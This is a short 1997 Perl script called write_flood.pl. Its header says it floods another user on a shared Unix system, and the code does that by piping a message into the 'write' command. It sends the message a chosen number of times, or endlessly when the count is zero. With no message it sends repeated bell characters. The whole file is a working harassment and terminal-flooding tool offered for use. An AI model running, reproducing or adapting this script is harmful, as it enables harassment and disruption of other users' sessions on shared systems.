#!/usr/bin/perl -w
# write_flood.pl by Adam Rogoyski (apoc@laker.net) Temperanc on EFnet irc
# Copyright (C) 1997 Adam Rogoyski
# Simple way to flood someone who as mesg y set.
# --- GNU General Public License Disclamer ---
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.


$user = shift;
if (!$user || $user eq "--help" || $user eq "-?" || $user eq "?")
{
   print ("usage: ", __FILE__," [user] [# of floods] [flood message]\n");
   print ("[user]          : any user on the system\n");
   print ("[# of floods]   : number of times to flood user\n");
   print ("[flood message] : message to send on each line\n");
   exit(1);
}
$flood_count = shift;
$flood_msg = shift;
while (@ARGV)
{
   $temp = shift;
   $flood_msg = sprintf ("$flood_msg $temp");
}
if ($flood_msg) 
{
   $flood_msg = $flood_msg . "\n";
}
open (FLOOD_PIPE, "|write $user");
if ($flood_count == 0)
{
   if (!$flood_msg)
   {
      $flood_msg = chr(7);
      print (FLOOD_PIPE "Woops...");
   }
   while (1) 
   {
      print (FLOOD_PIPE "$flood_msg");
   }
}
else
{
   if (!$flood_msg)
   {
      $flood_msg = chr(7);
      print (FLOOD_PIPE "Woops...");
   }
   for ($i = 0; $i < $flood_count; $i++)
   {
      print (FLOOD_PIPE "$flood_msg");
   }
}
close FLOOD_PIPE; 
